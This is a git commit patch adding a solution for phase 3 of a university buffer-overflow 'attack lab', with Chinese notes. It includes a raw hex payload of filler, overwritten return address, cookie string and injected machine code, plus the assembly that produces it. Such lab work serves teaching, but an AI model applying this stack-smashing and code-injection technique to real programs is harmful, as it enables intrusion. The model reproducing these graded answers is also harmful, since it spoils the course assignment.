From bb75853a835c93069aadbab44e8c2c2546070c57 Mon Sep 17 00:00:00 2001
From: ov-4 <hausemasterstream@gmail.com>
Date: Sun, 17 May 2026 08:40:49 +0000
Subject: phase 3

---
 attack/ans/3.txt   |  1 +
 attack/solution.md | 45 +++++++++++++++++++++++++++------------------
 attack/tool/3.s    |  4 ++++
 3 files changed, 32 insertions(+), 18 deletions(-)
 create mode 100644 attack/ans/3.txt
 create mode 100644 attack/tool/3.s

diff --git a/attack/ans/3.txt b/attack/ans/3.txt
new file mode 100644
index 0000000..75ad34b
--- /dev/null
+++ b/attack/ans/3.txt
@@ -0,0 +1 @@
+11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 b1 dc 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00 68 fa 18 40 00 48 c7 c7 a8 dc 61 55 c3
diff --git a/attack/solution.md b/attack/solution.md
index bd499ad..720db47 100644
--- a/attack/solution.md
+++ b/attack/solution.md
@@ -19,14 +19,7 @@
 NB. 小段序，所以返回地址要倒着写 ie. `c0 17 40 00 00 00 00 00`
 
 ```bash
-➜  attack git:(main) ✗ ./hex2raw < ans/1.txt | ./ctarget -q
-Cookie: 0x59b997fa
-Type string:Touch1!: You called touch1()
-Valid solution for level 1 with target ctarget
-PASS: Would have posted the following:
-        user id bovik
-        course  15213-f15
-        lab     attacklab
+./hex2raw < ans/1.txt | ./ctarget -q
 ```
 
 
@@ -62,15 +55,31 @@ PASS: Would have posted the following:
 
 gdb可以发现，在getbuf返回之前`$rsp   : 0x000000005561dca0`
 
-自己程序的开头就是`0x000000005561dca8`
+自己程序的开头就是 rsp+8 = `0x000000005561dca8`
 
-```bash
-➜  attack git:(main) ✗ ./hex2raw < ans/2.txt | ./ctarget -q
-Cookie: 0x59b997fa
-Type string:Touch2!: You called touch2(0x59b997fa)
-Valid solution for level 2 with target ctarget
-PASS: Would have posted the following:
-        user id bovik
-        course  15213-f15
-        lab     attacklab
+
+
+## Phase 3
+
+```asm
+00000000004018fa <touch3>: ...
+```
+
+```asm
+0000000000000000 <.text>:
+   0:   68 fa 18 40 00          push   $0x4018fa
+   5:   48 c7 c7 a8 dc 61 55    mov    $0x5561dca8,%rdi
+   c:   c3                      ret
 ```
+
+string形式的cookie `35 39 62 39 39 37 66 61 00` 长度是9
+
+所以string的位置就是rsp+8，因为跳过了返回地址
+
+代码起始位置 rsp+8+9，还跳过了string
+
+ie. `0x5561DCB1` = little endian `b1 dc 61 55 00 00 00 00`
+
+需要输入的字符 (40 bytes random) (ret addr) (string cookie) (code) 
+
+... (b1 dc 61 55 00 00 00 00) (35 39 62 39 39 37 66 61 00) (68 fa 18 40 00 48 c7 c7 a8 dc 61 55 c3)
diff --git a/attack/tool/3.s b/attack/tool/3.s
new file mode 100644
index 0000000..4ad694e
--- /dev/null
+++ b/attack/tool/3.s
@@ -0,0 +1,4 @@
+# modify %rdi and get into touch3()
+pushq $0x00000000004018fa # touch3
+movq $0x000000005561dca8, %rdi
+ret
-- 
cgit v1.3.1-4-g156e